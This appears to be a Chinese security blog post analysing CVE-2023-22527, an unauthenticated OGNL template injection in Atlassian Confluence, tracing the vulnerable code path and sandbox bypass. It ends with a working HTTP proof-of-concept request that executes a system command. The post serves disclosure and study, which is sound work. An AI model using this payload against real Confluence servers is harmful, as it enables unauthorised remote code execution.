Atlassian Confluence 模板注入代码执行漏洞(CVE-2023-22527)

(CVE-2023-22527)Atlassian Confluence 模板注入代码执行漏洞代码级分析,内含poc

作者:Le1a@threatbook
校验:jweny@threatbook

漏洞描述

Atlassian Confluence是一款由Atlassian开发的企业团队协作和知识管理软件,提供了一个集中化的平台,用于创建、组织和共享团队的文档、知识库、项目计划和协作内容。

攻击者可在无需登录的情况下,利用该漏洞构造恶意请求,导致远程代码执行。

影响版本

  • 8.5.0 ≤ version ≤ 8.5.3
  • 8.0.x,8.1.x,8.2.x,8.3.x,8.4.x

漏洞成因

在Confluence中,.vm文件是使用Velocity模板语言创建的模板文件。Velocity是一个基于Java的模板引擎,它允许你使用简单的标记语言来引用Java对象和方法,从而动态生成HTML、XML或任何文本格式的内容。

处理.vm文件的主要类是ConfluenceVelocityServlet。这个Servlet负责接收和处理来自浏览器的请求,加载和解析.vm模板,执行其中的Velocity代码,然后将生成的HTML发送回浏览器。

这次的漏洞点位于:/template/aui/text-inline.vm文件,可以直接通过/template/aui/text-inline.vm访问

#set( $labelValue = $stack.findValue("getText('$parameters.label')") )
#if( !$labelValue )
    #set( $labelValue = $parameters.label )
#end

#if (!$parameters.id)
    #set( $parameters.id = $parameters.name)
#end

<label id="${parameters.id}-label" for="$parameters.id">
$!labelValue
#if($parameters.required)
    <span class="aui-icon icon-required"></span>
    <span class="content">$parameters.required</span>
#end
</label>

#parse("/template/aui/text-include.vm")

$stack.findValue("getText('$parameters.label')")意味着从请求中获取的label参数的值传入了$stack.findValue,由此可以判断这里存在模版注入

代码分析

.vm文件由ConfluenceVelocityServlet处理

image-20240122171534566

继续跟进

protected void doRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    try {
        // 创建一个上下文对象,可能用于存储请求和响应的信息
        Context context = this.createContext(request, response);
        // 设置HTTP响应的内容类型
        this.setContentType(request, response);
        // 处理HTTP请求,返回一个模板对象
        Template template = this.handleRequest(request, response, context);
        // 如果没有获取到模板,直接结束方法
        if (template == null) {
            return;
        }
        // 如果获取到了模板,将模板和上下文合并,并将结果写入响应
        this.mergeTemplate(template, context, response);
    }
    // 其他代码...
}

这里跟进handleRequest(),可以发现从URI中获取vm文件路径,传入getTemplate()来返回模版对象

image-20240122173831737

image-20240122173926341

然后传入mergeTemplate()函数处理

image-20240122174028715

protected void mergeTemplate(Template template, Context context, HttpServletResponse response) throws ResourceNotFoundException, ParseErrorException, MethodInvocationException, IOException, UnsupportedEncodingException, Exception {
    // 获取当前的PageContext对象
    PageContext oldPageContext = ServletActionContext.getPageContext();
    // 获取默认的JSP工厂
    JspFactory jspFactory = JspFactory.getDefaultFactory();
    // 从上下文中获取HttpServletRequest对象
    HttpServletRequest request = (HttpServletRequest)context.get("request");
    // 根据当前的Servlet、请求和响应创建一个新的PageContext对象
    PageContext pageContext = jspFactory.getPageContext(this, request, response, (String)null, true, 8192, true);
    // 获取当前的ActionContext对象
    ActionContext actionContext = ActionContext.getContext();
    // 将新创建的PageContext对象放入ActionContext中
    actionContext.put("com.opensymphony.xwork2.dispatcher.PageContext", pageContext);
    Writer writer = null;
    try {
        // 获取PageContext的输出流
        writer = pageContext.getOut();
        // 将模板和上下文合并,结果写入到输出流中
        template.merge(context, writer);
    }
    // 其他代码...
    }

这里创建新的PageContext,获取其输出流,准备进行模板合并和输出操作。

继续跟进template.merge()

image-20240122175335072

跟进到merge的重载函数

public void merge(Context context, Writer writer, List macroLibraries) throws ResourceNotFoundException, ParseErrorException, MethodInvocationException, IOException {
        if (this.errorCondition != null) {
            throw this.errorCondition;
        } else if (this.data == null) {
            String msg = "Template.merge() failure. The document is null, most likely due to parsing error.";
            throw new RuntimeException(msg);
        } else {
            InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
            ica.setMacroLibraries(macroLibraries);
            if (macroLibraries != null) {
                for(int i = 0; i < macroLibraries.size(); ++i) {
                    try {
                        this.rsvc.getTemplate((String)macroLibraries.get(i));
                    } catch (ResourceNotFoundException var13) {
                        this.rsvc.getLog().error("template.merge(): cannot find template " + (String)macroLibraries.get(i));
                        throw var13;
                        } catch (ParseErrorException var14) {
                        this.rsvc.getLog().error("template.merge(): syntax error in template " + (String)macroLibraries.get(i) + ".");
                        throw var14;
                    } catch (Exception var15) {
                        throw new RuntimeException("Template.merge(): parse failed in template  " + (String)macroLibraries.get(i) + ".", var15);
                    }
                }
            }

            try {
                ica.pushCurrentTemplateName(this.name);
                ica.setCurrentResource(this);
                ((SimpleNode)this.data).render(ica, writer);
            } finally {
                ica.popCurrentTemplateName();
                ica.setCurrentResource((Resource)null);
            }

        }
    }

由于传入的macroLibraries为空,所以直接执行try逻辑

  1. 调用 ica.pushCurrentTemplateName(this.name); 将当前模板的名称压入到 ica 的模板名堆栈中。这是为了在嵌套模板的情况下能够追踪到当前正在处理的模板名称。
  2. 调用 ica.setCurrentResource(this); 将当前模板对象设置为 ica 的当前资源。这是为了让 ica 知道当前正在处理的模板资源。
  3. 最后,通过调用 ((SimpleNode)this.data).render(ica, writer); 进行模板渲染

省略中间的部分渲染过程,跟进到ASTReference#execute()

image-20240122182738664

这里从上下文中获取OgnlValueStack,继续跟进

image-20240122192303171

image-20240122192442639

这里从请求中获取到参数,然后通过Object obj = method.invoke(o, params);执行,继续跟进

image-20240122193550814

经过几层invoke调用后,来到了最终vm文件模版的位置——OgnlValueStack.findValue()

image-20240122193649263

随后,传给label参数的OGNL表达式语句被执行

image-20240122194042690

如何构造RCE

由这篇文章可得知:https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/?ref=blog.projectdiscovery.io#strutsutil:~:text=(PageContextImpl)-,For%20Velocity%3A,-.KEY_velocity.struts2.context

对于Velocity模版引擎,可以使用如下方法:

  • .KEY_velocity.struts2.context -> (StrutsVelocityContext)
    • ognl (org.apache.struts2.views.jsp.ui.OgnlTool)
    • struts (org.apache.struts2.views.velocity.result.VelocityStrutsUtils)

org.apache.struts2.views.jsp.ui.OgnlTool 类在没有 OgnlContext 的情况下调用了 Ognl.getValue()。需要注意的是,该类属于 OGNL 库,而不是 Struts 的一部分。因此,这个"findValue"调用在 Struts 的沙箱限制之外运行。

image-20240122195127771

复现过程

  1. 网站首页如下图:

image-20240122195705018

  1. 使用如下POC进行漏洞复现
POST /template/aui/text-inline.vm HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded

label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.poc[0],{})%2b\u0027&poc=@org.apache. struts2.ServletActionContext@getResponse().setHeader('Cmd-Responses-Header',(new freemarker.template.utility.Execute()).exec({"id"}))

image-20240122195829301

  • 发表于 2024-01-23 10:00:13
  • 阅读 ( 40278 )
  • 分类:漏洞分析

6 条评论

网安萌新
强者思维
请先 登录 后评论
天海之际
太强了
请先 登录 后评论
wswch1994
请先 登录 后评论
一闪一闪
请先 登录 后评论
等风动
太强了
请先 登录 后评论
fibuleX
这玩意源码从哪弄的
请先 登录 后评论
请先 登录 后评论
jweny
jweny

16 篇文章

站长统计